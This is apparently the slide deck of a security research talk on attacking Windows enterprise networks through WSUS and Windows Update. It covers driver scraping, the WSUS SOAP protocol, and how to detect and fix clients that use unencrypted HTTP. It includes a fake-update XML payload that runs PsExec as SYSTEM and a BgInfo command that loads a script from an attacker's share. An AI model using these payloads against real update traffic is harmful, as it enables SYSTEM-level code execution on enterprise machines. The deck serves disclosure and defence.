


WSUSPect - Compromising the Windows Enterprise via Windows Update


Paul Stone

Alex Chapman



Agenda

- Why look at Windows Update?
- Exploring Windows Update attack surface
- Installing drivers via Windows Update
- Exploring WSUS
- Compromising WSUS deployments
- Fixes





Who are We

Context Information Security


Alex Chapman

Paul Stone



Why look at Windows Update?

Find out why it's so damn slow





Why look at Windows Update?

- Updates can often be installed by non-privileged users (PIC?)
 - Potential for Elevation-of-Privilege vulnerabilities
- Increases (and decreases) Windows attack surface (PIC?)
 - Updates are necessary to patch security flaws
 - Fetching and running code over the network tricky to do securely
- Non-Microsoft code available via Windows Update (PIC?)
 - Many 3rd party hardware drivers available via Windows Update
 - Kernel drivers
 - Privileged services and other code
- Because it's so dull few people have look at it before (PIC?)

→ context

Overview of Windows Update

- Windows Update Service
- Runs wuauclt.exe
- Registry keys control various details
 - Update server, update frequency, elevate non-admins etc.
- Talks to WU Servers via HTTPS / SOAP XML web service
- Keeps a local database of installed / available updates
 - C:\Windows\SoftwareDistribution\DataStore\DataStore.edb
- Updates are downloaded and unpacked to:
 - C:\Windows\SoftwareDistribution\Download
- Logs are kept, helpful for debugging:
 - C:\Windows\WindowsUpdate.log



What types of update are available?

Microsoft Update Classifications:

- Critical Updates
- Security Updates
- Definition Updates
- Updates
- Drivers
- Update Rollups
- Service Packs



What types of update are available?


Microsoft Update Classifications:

- Critical Updates
- Security Updates
- Definition Updates
- Updates
- Drivers
- Update Rollups
- Service Packs



Hardware Drivers

Default Windows behaviour it to download and install drivers for new devices





3rd Party Software

- Hardware vendors can submit drivers to be distributed via WU
- Drivers must be signed, though not necessarily by Microsoft

"Your company's quality assurance processes are responsible for testing driver functionality during product development. When the driver is complete, you can verify that the driver is compatible with Windows and submit it to the Windows Certification Program for certification or digital signature. Any signed drivers may be distributed on Windows Update, regardless of whether the digital signature is obtained through certification, or through unclassified or "Other Device" testing."

- Driver Signing Guidelines for ISVs



Driver Installation Process

- Device plugged in
- PnP detects new device, adds it to Windows' device tree
- Driver may be recognised (e.g. generic HID device) or not
- Windows Update Service sends complete device tree to WU Server
- WU Server responds with list of applicable updates (if any)
- WU Service downloads and installs driver update(s)

TODO - need procmon process graph



Possible Attack Vector

- Give someone a malicious USB device
- Spoofs ID of a particular USB device
- Triggers download install of driver from Windows Update
- **????**

Need to investigate available USB drivers



How do we find all USB drivers on WU?

- Buy many USB devices, see if they have driver on WU
 - Many don't have drivers on WU
 - Too expensive





How do we find all USB drivers on WU?

- Use programmable hardware to enumerate all possible USB device IDs
 - Facedancer
 - Beaglebone (using Linux GadgetFS)
 - Too slow for testing 1000's of hardware IDs







How do we find all USB drivers on WU?

- Search Windows Update?
- But no search interface inside Windows
- Can only check for updates that apply to your current OS / hardware

WSUS local database has some drivers but not many




Microsoft Update Catalog

- http://catalog.update.microsoft.com
- Requires IE 6 or above
- Requires an ActiveX control
- Apparently untouched since 2001
- But contains updates for all Windows versions from XP / 2000 onwards




Microsoft Update Catalog





Microsoft Update Catalog

- Can search based on USB Vendor ID (VID) and Product ID (PID)
 - ... or just search on VID e.g. USB\VID_1234



→ context

The Plan

- Get a list of USB Vendor IDs
- Scrape Windows Update Catalog
 - find every USB driver for every Vendor ID
 - Make a database of driver details
- Download every driver for Windows 7 onwards
- ????



Scraping Results (~April 2015)

usb_vid	title	guid	date	version	ifica	products	wnload_s	ision	download_url	download_digest
Filter	Filter	Filter	Filter	Filter	Fil	Filter	Filter	Fil	Filter	Filter
0fd9	Hauppauge Computer Works,	bb201f5c-0307-41f3-974d-b7cb86336d53	2008-07-08	1.85.261	Dr	Windows 7, Windows 8	281138	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	MWPqGrQSWVzNvhM1RQEA3QbKPb0=
0fd9	Hauppauge Computer Works,	4ef1904d-abf5-4471-80a0-da456f253e0f	2008-07-08	1.85.261	Dr	Windows 7, Windows 8	281138	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	MWPqGrQSWVzNvhM1RQEA3QbKPb0=
0e0b	MediaTek, Inc WLAN - 802	537a8c19-e958-4bfa-8515-a22ac8e9c83a	2014-10-01	5.1.19.0	Dr	Windows 8	1133713	N	http://download.windowsupdate.com/d/msdownload/update/driver/dr	B+Z6hoZVf+DrnN7F1iK+cC/0Ink=
0e0b	MediaTek, Inc WLAN - 802	9dd2195d-b8fc-4f79-8721-a7a2a83e3dca	2014-10-01	5.1.19.0	Dr	Windows 8	965289	N	http://download.windowsupdate.com/d/msdownload/update/driver/dr	MNvse4GQRuENblhjo5MxiF9ygbw=
0e0b	Ralink - Network - 802.11n Wi	aab5c35a-8bdc-447e-ac85-ec5d8d621b83	2009-05-25	3.0.1.0	Dr	Windows 7 Client	388324	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	SBypoMmtNsngvBJsBwLmZ785Wvo=
0e0b	Realtek Semiconductor Corp	ea5ef594-5e31-4562-a2be-d44d0b812e4c	2010-04-13	6.1372.4	Dr	Windows 7, Windows	663305	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	sob/lbYkSE/rGoz5xsFie2U6Fis=
0e0b	Realtek Semiconductor Corp	a31e20ec-bd29-437d-b7cc-7b2d4a169531	2010-04-13	6.1372.4	Dr	Windows 7, Windows	578441	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	C30eTDM9QMVkVzbQIeoelkL2LBY=
0e0b	Belkin Corporation - Network	f49baa90-3f1b-48b5-b9eb-3a568534d94d	2009-10-26	6.1370.1	Dr	Windows 7, Windows	572211	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	PYHvrs1BkdMAZP8nGbjdjJ1Mes8=
0e0b	Realtek Semiconductor Corp	6059d0b7-e215-45fb-898c-cdf980672472	2009-10-26	6.1370.1	Dr	Windows 7, Windows	665059	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	CP51XbceocvI8JJuMoyIjMuoNKQ=
0e0b	Realtek Semiconductor Corp	df6e934e-9f12-47d1-a894-87296e7b7ef0	2009-10-26	6.1370.1	Dr	Windows 7, Windows	577593	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	hpiP5xZ58q21zX1ALMDMrhlKgDk=
0e0b	Belkin Corporation - Network	0c9cf2d6-b137-4851-8ead-79605cbd195f	2009-10-26	6.1370.1	Dr	Windows 7, Windows	660583	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	ereEDp6wy59Igu60Wldcww0YOWw=
0e0b	Ralink - Network - 802.11n Wi	a8a6cd68-f439-493f-abf1-abc2bad095b1	2009-05-25	3.0.1.0	Dr	Windows 7 Client	372494	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	6RbuTB61vKzs3Eur5ZYiMLaMcGY=
0e0b	Realtek Semiconductor Corp	7c5884e2-9508-4f36-add5-3bf8c1fbed82	2012-05-22	1086.49	Dr	Windows 8, Windows	1189051	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	P7uYVE9VuhV+5Z1MyXH7NO2QbhI=
0e0b	Realtek Semiconductor Corp	23bdfcc5-4422-423d-bfc9-5451fda2e17e	2012-05-22	1086.49	Dr	Windows 8, Windows	1141503	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	CYeMWLpkRAhQ2eIfQIDDImmbACk=
145f	Realtek Semiconductor Corp	1f793ad7-cbfb-4127-84f2-63158a40e041	2007-11-19	6.1304.1	Dr	Windows 7, Windows	184528	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	mu2Hqv1BEK/eFNwhwZRRPwADfoI=
145f	Realtek Semiconductor Corp	85c6a256-c5ab-4284-8c15-73dc568f634a	2007-11-19	6.1304.1	Dr	Windows 7, Windows	163564	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	6y6gs/7c3c91fqGt2y01DFdhXKE=
145f	Trust - Streaming Media and	2d1e4302-78a4-4167-96a5-3fa123877811	2009-07-02	5.8.53004.0	Dr	Windows 7, Windows	4978952	N	http://download.windowsupdate.com/msdownload/update/driver/drvs	OdZSXF5GVPfoSsqE/SxrHbW0NXc=
145f	Broadcom Corporation driver	5db4a424-a74d-4ca6-8666-fb235f072c8f	2013-08-30	12.0.0.7820	Dr	Windows 8.1 Drivers	1148438	N	http://download.windowsupdate.com/c/msdownload/update/driver/dr	qQ9JKoFmnFFeOIH57VRUi9zzif4=
145f	Broadcom Corporation driver	780e4781-f027-418d-98e5-146716a5ffb3	2013-08-30	12.0.0.7820	Dr	Windows 8.1 Drivers	1791042	N	http://download.windowsupdate.com/c/msdownload/update/driver/dr	4kNVHhPYMa/AACuhKBpfDV+HRVs=
145f	Qualcomm Atheros Commun	b50ea65d-a3ff-43ea-9f88-52986f61c412	2013-07-31	8.0.1.244	Dr	Windows 8.1 and later	1223840	N	http://download.windowsupdate.com/c/msdownload/update/driver/dr	fo+L3Sr0EcQHh1xvPSjIJnV3t08=
145f	Qualcomm Atheros Commun	43592cf3-1505-4371-8c86-fb5af6ad0f68	2013-07-31	8.0.1.244	Dr	Windows 8.1 and later	1223840	N	http://download.windowsupdate.com/c/msdownload/update/driver/dr	fo+L3Sr0EcQHh1xvPSjIJnV3t08=
145f	Qualcomm Atheros Commun	3a59b054-d423-48a0-b8bc-af9fc9421eee	2013-07-31	8.0.1.244	Dr	Windows 8.1 and later	1200102	N	http://download.windowsupdate.com/c/msdownload/update/driver/dr	m09V1HHHFkcyOxhrvjBS08IMT+Y=
145f	Qualcomm Atheros Commun	74a0bf31-ffa2-4c80-b170-fcd156e27e09	2013-07-31	8.0.1.244	Dr	Windows 8.1 and later	1200102	N	http://download.windowsupdate.com/c/msdownload/update/driver/dr	m09V1HHHFkcyOxhrvjBS08IMT+Y=
145f	Qualcomm Atheros Commun	5f183a3f-075f-4a74-8fb6-5c0acd1848b4	2012-06-08	1.0.4.0	Dr	Windows 8	612202	N	http://download.windowsupdate.com/d/msdownload/update/driver/dr	iu2l2g1wAsT0xv+4RSA2A46b7SI=




Scraping Results (~April 2015)

- 425 unique USB Vendor IDs
- 25,125 unique driver update GUIDs
- 4,687 unique download URLs / download hashes
- Many duplicates
- Many obsolete driver versions
- Downloaded 2,284 drivers
- ~5 GB worth of .cab files
- Range of sizes from >100MB to a few KB



Scraping Results (~April 2015)

- Lots of standard devices
 - Printers
 - Memory Cards
 - USB Ethernet
 - Bluetooth
- Lots of weird and wonderful sounding hardware
 - Infineon XC800 USB Debug
 - STMicroelectronics Intel(R) Sensor Solution Blue Box DFU
 - DisplayLink Corp. Display Adapter (03B2)
- Many funky drivers were really just USB to serial drivers
- Some 'drivers' just used built-in drivers, configured some settings





Contents of a Windows driver .cab file

CAB is Microsoft's old-skool compressed archive format

Name	Size	Modified	
cncisco3.dll	90 112	2010-11-18 06:15	
cncisco6.dll	98 304	2010-11-18 06:15	
🖺 cnmiu.cab	420 679	2011-02-03 01:12	
cnmiu3.dll	184 320	2011-02-03 00:20	
MG6200P3.cat	35 790	2011-06-01 10:40	
MG6200P3.inf	15 472	2011-05-22 20:00	
MG6200sa.cat	31 254	2011-06-01 10:40	
MG6200sb.cat	0	2010-11-15 08:35	
MG6200SC.INF	22 066	2011-05-19 04:42	
PrnCm.cab	2 151 103	2011-05-20 19:48	
PRNG3.cab	2 813 293	2011-05-20 17:16	
SCN01.CAB	510 259	2011-05-19 04:53	
SCN02.CAB	267 471	2011-05-19 04:53	
TWAIN.CAB	3 994 010	2011-05-19 04:53	
MG6200sb.cat MG6200SC.INF PrnCm.cab PRNG3.cab SCN01.CAB SCN02.CAB	0 22 066 2 151 103 2 813 293 510 259 267 471	2010-11-15 08:35 2011-05-19 04:42 2011-05-20 19:48 2011-05-20 17:16 2011-05-19 04:53 2011-05-19 04:53	



```
$ES91.DeviceDesc% = USB.ES91,USB\VID_04B8&F

[Models.NTx86.5.1]
$ES91.DeviceDesc% = USB.ES91XP,USB\VID_04B8

[Models.NTamd64]
$ES91.DeviceDesc% = USB.ES91XP.x64,USB\VID
```

[Models]

[USB.ES91.ntx86] Include=sti.inf

DeviceType=1

CopyFiles=

les

Needs=STI.USBSection SubClass=StillImage

DeviceSubType=0x01 Capabilities=0x03 Events=ES91.Events

DeviceData=ES91.DeviceData

Contents of a Windows driver .cab file

- Driver .inf file(s)
 - List of supported hardware
 - List of things to do
 - Configure driver
 - Copy files
 - Set registry keys
 - Install kernel and userland services
 - Run co-installer
 -

```
[USB.ES91]
SubClass=StillImage
DeviceType=1
DeviceSubType=0x01
Capabilities=0x03
Events=ES91.Events
DeviceData=ES91.DeviceData
AddReg=ESCANB.AddReg,USB.Driver.AddReg,USB.I
CopyFiles=
ESCANB.USD.Files,DS.Files,DRV.Files,FFMT.Fil
les,USB.Scan.CopySys32Files
ICMProfiles=%ICCName%
```


AddReg=ESCANB.AddReg, USB.IF.AddReg, ES91.AddF


ESCANB.USD.Files, DS.Files, DRV.Files, FFMT.Fil




Contents of a Windows driver .cab file

- Windows Security Catalogs .cat files
 - File hashes, signature and certificate for contents of .cab










Contents of a Windows driver .cab file

- .sys files Kernel drivers
- .dlls, .exes, Help files...
- Stuff the developer forgot to remove
 - pdb files
- 32-bit and 64-bit versions of everythin





The Plan

- Get a list of USB Vendor IDs
- Scrape Windows Update Catalog
 - find every USB driver for every Vendor ID
 - Make a database of driver details
- Download every driver for Windows 7 onwards
- Install all the drivers





Automatically Installing Drivers

- Use Windows Device Console DevCon.exe
- Found in Windows Driver Development Kit (DDK)
- Can run standalone

```
> devcon install cabdir\driver.inf USB\VID_1234&PID_5678
```

Device node created. Install is complete when drivers are installed...

Updating drivers for USB\VID_04F9&PID_02FA&MI_02 from cabdir\brpoi13a.inf.

Drivers installed successfully.

```
> _
```

→ context

Automatically Installing Drivers

- Used VirtualBox and VBoxManage to automate it via cmdline
- Resume VM snapshot
- Launch script via PsExec from host
- Run SysInternals' ProcMon to capture activity
- Run devcon
- Record details before and after driver install
 - Services
 - Processes
 - Directory listings Program Files, Windows, System32
 - Take screenshot
 - etc...

₹0/0 **Repeat for every driver**



Automated Driver Installation

- Using DevCon doesn't fully simulate plugging in a USB device
- Must be run as high-priv user
- What happens when low-priv users plug in USB devices?
- Can we simulate this without hardware?



Interesting Results

- Some drivers didn't have correct signatures
- Some drivers caused a bluescreen



Windows Device Simulation Framework

- Part of Windows DDK
- Allows full software simulation of USB devices
- Discontinued in DDK version 8.0
- Last available version in 7.1
- Documentation is hard to find on Google
- Comes with COM-scriptable pre-compiled example devices:
 - Generic HID device
 - USB Audio device
 - Keyboard device
- https://msdn.microsoft.com/en-us/library/ff538295.aspx



Scripting DSF Sample Devices

Use the ISoftUSBDevice interface to set Vendor, Product IDs



Driver Attacks in Enterprise Setting

- In enterprise/corporate setting, WSUS is generally in use
- Some device drivers are available through WSUS, but they must generally be approved by admin
- Plugging in a random USB device often won't do much
- USB whitelisting may be in use
- Let's look at WSUS again



WSUS – Windows Software Update Services

- Pretty much identical to Windows Update
- Similar SOAP XML web service
- Updates fetched from local server instead of Microsoft server
- Updates must be approved by administrator before being pushed out
- Let's look at the web service




Proxying WSUS

- If HTTPS in use, must put proxy CA cert into Machine cert store
- Windows Update respects user proxy settings
- May need to restart Windows Update service after configuring proxy
- Main endpoint is http://wsus-server/ClientWebService/client.asmx
- SOAP web service is documented at:

https://msdn.microsoft.com/en-us/library/cc251937.aspx




WSUS SOAP Service - Setup





WSUS SOAP Service – Checking for Updates



20/07/2015



SyncUpdates Request

```
<s:Envelope><s:Body>
<SyncUpdates>
    <cookie>...</cookie>
    <parameters>
        <ExpressQuery>false</ExpressQuery>
        <InstalledNonLeafUpdateIDs>
            <int>15</int>
            <int>56</int>
            <int>41072</int>
        </InstalledNonLeafUpdateIDs>
                                          List of installed / known updates
        <OtherCachedUpdateIDs>
            <int>16</int>
            <int>17</int>
            <int>48260</int>
        </OtherCachedUpdateIDs>
        <SkipSoftwareSync>false</SkipSoftwareSync>
        <NeedTwoGroupOutOfScopeUpdates>false</NeedTwoGroupOutOfScopeUpdates>
        <AlsoPerformRegularSync>true</AlsoPerformRegularSync>
        <ComputerSpec/>
    </parameters>
</SyncUpdates>
</s:Body></s:Envelope>
```



SyncUpdates Response

```
<s:Envelope><s:Body>
<SyncUpdatesResponse><SyncUpdatesResult>
   <NewUpdates>
       <UpdateInfo> <-----</pre>
                                                0 or more UpdateInfo tags
           <ID>11974101</ID>
           <Deployment>
               <ID>17356584</ID>
               <Action>Bundle</Action>
               <IsAssigned>true</IsAssigned>
               <LastChangeTime>2014-04-22
               <AutoSelect>0</AutoSelect>
               <AutoDownload>0</AutoDownload>
               <SupersedenceBehavior>0</SupersedenceBehavior>
           </Deployment>
           <IsLeaf>true</IsLeaf>
          <Xml>&lt;UpdateIdentity.../ApplicabilityRules&gt;</Xml>
       </UpdateInfo>
                                                             Update Metadata,
       <UpdateInfo>
                                                             encoded XML inside
                                                             Xml tag
   </NewUpdates>
   <Truncated>false</Truncated>
   <NewCookie>...</NewCookie>
   <DriverSyncNotNeeded>false
</SyncUpdatesResult></SyncUpdatesResponse>
</s:Body></s:Envelope>
```



SyncUpdates Response - Update Metadata

```
<UpdateIdentity UpdateID="53979536-176e-46c2-9f61-bcf68381c065" RevisionNumber="206" />
<Properties UpdateType="Software" />
<Relationships>
    <Pre><Prerequisites>
                                                                                         Must have
         <UpdateIdentity UpdateID="59653007-e2e9-4f71-8525-2ff588527978" />
<UpdateIdentity UpdateID="71c1e8bb-9a5d-4e56-a456-10b0624c7188" />
                                                                                         these
                                                                                          installed
    </Prerequisites>
</Relationships>
<ApplicabilityRules>
    <TsInstalled>
         <b.FileVersion Version="6.1.7601.22045"</p>
             Comparison="GreaterThanOrEqualTo" Path="\conhost.exe" Csidl="37" />
    </TsTnstalled>
    <IsInstallable>
         <Not>
             <CbsPackageInstalledByIdentity</pre>
                  PackageIdentity="InternetExplorer-Package~11.2.9600.16428" />
         </Not>
    </IsInstallable>
</ApplicabilityRules>
```



GetExtendedUpdateInfo Request

```
<soap:Envelope><soap:Body>
<GetExtendedUpdateInfo>
   <cookie>...</cookie>
   <revisionIDs>
       <int>13160722</int>
       <int>16753458</int>
                               Need details on these updates
       <int>17212691</int>
       <int>17212692</int>
   </revisionIDs>
   <infoTypes>
       <XmlUpdateFraqmentType>Extended</XmlUpdateFraqmentType>
       <XmlUpdateFragmentType>LocalizedProperties</XmlUpdateFragmentType>
       <XmlUpdateFraqmentType>Eula
   </infoTypes>
   <locales>
       <string>en-US</string>
       <string>en</string>
   </locales>
</GetExtendedUpdateInfo>
</soap:Body></soap:Envelope>
```



ZU/U//ZUI3

GetExtendedUpdateInfo Response

```
<soap:Envelope><soap:Body>
<GetExtendedUpdateInfoResponse><GetExtendedUpdateInfoResult>
    <Updates>
        <Update>
            <ID>66719</ID>
            <Xml>&lt;ExtendedProperties...&lt;/HandlerSpecificData&qt;</Xml>
                                                                                Extended
       </Update>
       <Update>
                                                                                Metadata
            <ID>67749</ID>
            <Xml>&lt;ExtendedProperties....&lt;/HandlerSpecificData&gt;</Xml>
        </Update>
    </Updates>
   <FileLocations>
       <FileLocation>
            <FileDigest>tXa3bCw4XzkLd/Fyfs2ATZcYgh8=</FileDigest>
            <Url>http://wsus-server:8530/Content/1F/B576B76C2C385F39.cab</url>
       </FileLocation>
        <FileLocation>
                                                                                 update
            <FileDigest>OzTUyOLCmj1K08U2VJNHw3rfpzQ=</FileDigest>
            <Url>http://wsus-server:8530/Content/34/3B34D4C8E2C29A39.cab
        </FileLocation>
    </FileLocations>
</GetExtendedUpdateInfoResult></GetExtendedUpdateInfoResponse>
</soap:Body></soap:Envelope>
```



GetExtendedUpdateInfo Extended Metadata

```
<ExtendedProperties
    DefaultPropertiesLanguage="en"
                                                                                Different
 Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/Cbs"
                                                                                types of
    MaxDownloadSize="9510901" Minpownloadsize="9510901">
                                                                                'handler'
    <InstallationBehavior</pre>
        Impact="RequiresExclusiveHandling"
        RebootBehavior="CanRequestReboot" />
</ExtendedProperties>
<Files>
    <File Digest="jPCzjkNiJ2YzPOcEJiQdx/qZa00=" DigestAlgorithm="SHA1"</pre>
        FileName="windows6.1-kb2533552-x64.cab"
        Size="9510901" Modified="2011-04-11T17:01:48.68"
                                                                                Files needed
        PatchingType="SelfContained" />
                                                                                for update
    <File Digest="9dJV9mHy3AiJmp851/VzNq6nBRc=" DigestAlgorithm="SHA1"</pre>
        FileName="Windows6.1-KB2533552-x64-EXPRESS.cab"
        Size="60633" Modified="2011-04-11T17:01:48.87"
        PatchingType="Express" />
</Files>
<HandlerSpecificData type="cbs:Cbs">
    <CbsData PackageIdentity="" />
</HandlerSpecificData>
```



WSUS Security

- Windows Server 2012 WSUS Setup Wizard
- SSL not enabled by default
- Microsoft does recommends using SSL





WSUS Security

"WSUS uses SSL for metadata only, not for update files. This is the same way that Microsoft Update distributes updates. Microsoft reduces the risk of sending update files over an unencrypted channel by signing each update. In addition, a hash is computed and sent together with the metadata for each update. When an update is downloaded, WSUS checks the digital signature and hash. If the update has been changed, it is not installed."

https://technet.microsoft.com/en-us/library/hh852346.aspx

All updates must be signed by Microsoft



WSUS Attacks

- If SSL not used we could MITM update traffic
- Updates are signed so cannot be modified
- Prevent updates being applied?
- Force drivers to be downloaded and installed?
- Remove security patches then attack system?



Update Handlers

- Cbs Cab-based patch
- WindowsDriver
- WindowsInstaller
- WindowsPatch
- InfBasedInstallation
- CommandLineInstallation



Update Handlers

- Cbs Cab-based patch
- WindowsDriver
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- WindowsPatch
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
CommandLineInstallation

```
<ExtendedProperties DefaultPropertiesLanguage="en"</pre>
    Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation
    MaxDownloadSize="41837240" MinDownloadSize="0">
    <InstallationBehavior RebootBehavior="CanRequestReboot" />
</ExtendedProperties>
<Files>
    <File Digest="sJRqIvCrdbpZvP18wDS2HbwhFUE=" DigestAlgorithm="SHA1"</pre>
    FileName="Windows-KB890830-x64-V5.22.exe"
    Size="41837240" Modified="2015-02-27T15:54:52Z">
        <AdditionalDigest Algorithm="SHA256">robj...WY0=</AdditionalDigest>
    </File>
</Files>
<HandlerSpecificData type="cmd:CommandLineInstallation">
    <InstallCommand Arguments="/Q /W"</pre>
        Program="Windows-KB890830-x64-V5.22.exe"
        RebootByDefault="false" DefaultResult="Succeeded">
    <ReturnCode Reboot="true" Result="Succeeded" Code="3010" />
    <ReturnCode Reboot="false" Result="Failed" Code="1603" />
    <ReturnCode Reboot="false" Result="Failed" Code="-2147024894" />
</InstallCommand></HandlerSpecificData>
  20/07/2015
```




WSUS Attacks - CommandLineIntallation

- We can download and run any Microsoft-signed exe
- We can provide arbitrary command-line arguments
- Updates get installed as SYSTEM
- Lets download and run cmd.exe!
- Most Windows binaries not signed ③
- But SysInternals tools are!
- Let's use PsExec!





Injecting a fake update






Injecting a fake update

```
<ExtendedProperties DefaultPropertiesLanguage="en" Handler="</pre>
http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"
    MaxDownloadSize="396480" MinDownloadSize="0">
    <InstallationBehavior RebootBehavior="CanRequestReboot" />
</ExtendedProperties>
<Files>
    <File Digest="tcYtee2k9+S2CpyqVzaj/cLxsn4=" DigestAlgorithm="SHA1"</pre>
    FileName="PsExec.exe" Size="396480" Modified="2015-02-27T15:54:52Z">
        <AdditionalDigest Algorithm="SHA256">Ow...q5U=</AdditionalDigest>
    </File>
</Files>
<HandlerSpecificData type="cmd:CommandLineInstallation">
        <InstallCommand
            Program="PsExec.exe"
            Arguments="/accepteula cmd /c whoami > c:\whoami.txt"
            RebootByDefault="false" DefaultResult="Succeeded">
                <ReturnCode Reboot="false" Result="Succeeded" Code="0" />
                <ReturnCode Reboot="false" Result="Failed" Code="-1" />
        </InstallCommand>
</HandlerSpecificData>
```

→ context





WSUS Attack Demo - Scenario 1

- Client PC configured to use WSUS over HTTP
- User can modify proxy settings
- Malicious low-priv user



PsExec Problems

- Sophos detects it as a 'Hacking Tool'
- May get blocked on enterprise systems
- What else could we use?

PsExec

Category: Type: Adware and PUAs Hacking Tool Protection available since: Last Updated: 09 Feb 2006 (20 May 2010 (



Download our free Virus Removal Tool - Find and remove threats your antivirus missed

Summary

More information

PsExec is a tool to execute programs on remote systems that could be used for malicious purposes.



SysInternals BgInfo


Frequently used on enterprise machines





SysInternals BgInfo

- Can run VBScript to populate fields
- Can load config file from network share



bginfo \\attacker\share\config.bgi /nolicprompt /timer:0



WSUS Attack Demo - Scenario 2

- Attacker has access to corporate subnet
- Attacker has no domain creds
- Attacker can performs ARP spoofing / WPAD injection



Check for WSUS HTTP misconfiguration

- Check registry on WSUS client machines
- HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
 - WUServer = http://wsus-server.local:8530
- HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
 - UseWUServer = 1 Computer will use WUServer setting
- Or check Group Policy
 - Windows Components > Windows Update >
 Specify intranet Microsoft update service location



Fix WSUS HTTP Misconfiguration

- RTFM Microsoft recommends, but doesn't enforce HTTPS
 - https://technet.microsoft.com/library/hh852346.aspx#bkmk_3_
 5_ConfigSSL
 - 3.5. Secure WSUS with the Secure Sockets Layer Protocol

You can use the Secure Sockets Layer (SSL) protocol to help secure the WSUS deployment. WSUS uses SSL to authenticate client computers and downstream WSUS servers to the WSUS server. WSUS also uses SSL to encrypt update metadata.

Important

Clients and downstream servers that are configured to use Transport Layer Security (TLS) or HTTPS must also be configured to use a fully qualified domain name (FQDN) for their upstream WSUS server.

WSUS uses SSL for metadata only, not for update files. This is the same way that Microsoft Update distributes updates. Microsoft reduces the risk of sending update files over an unencrypted channel by signing each update. In addition, a hash is computed and sent together with the metadata for each update. When an update is downloaded, WSUS checks the digital signature and hash. If the update has been changed, it is not installed.


→ context

Thanks


- Jan Tudor
- Ruben Boonen (@FuzzySec)
- Andy Monaghan
- Context



So why IS Windows Update so slow?



No idea, sorry! ¯_(ツ)_/¯



Any Questions?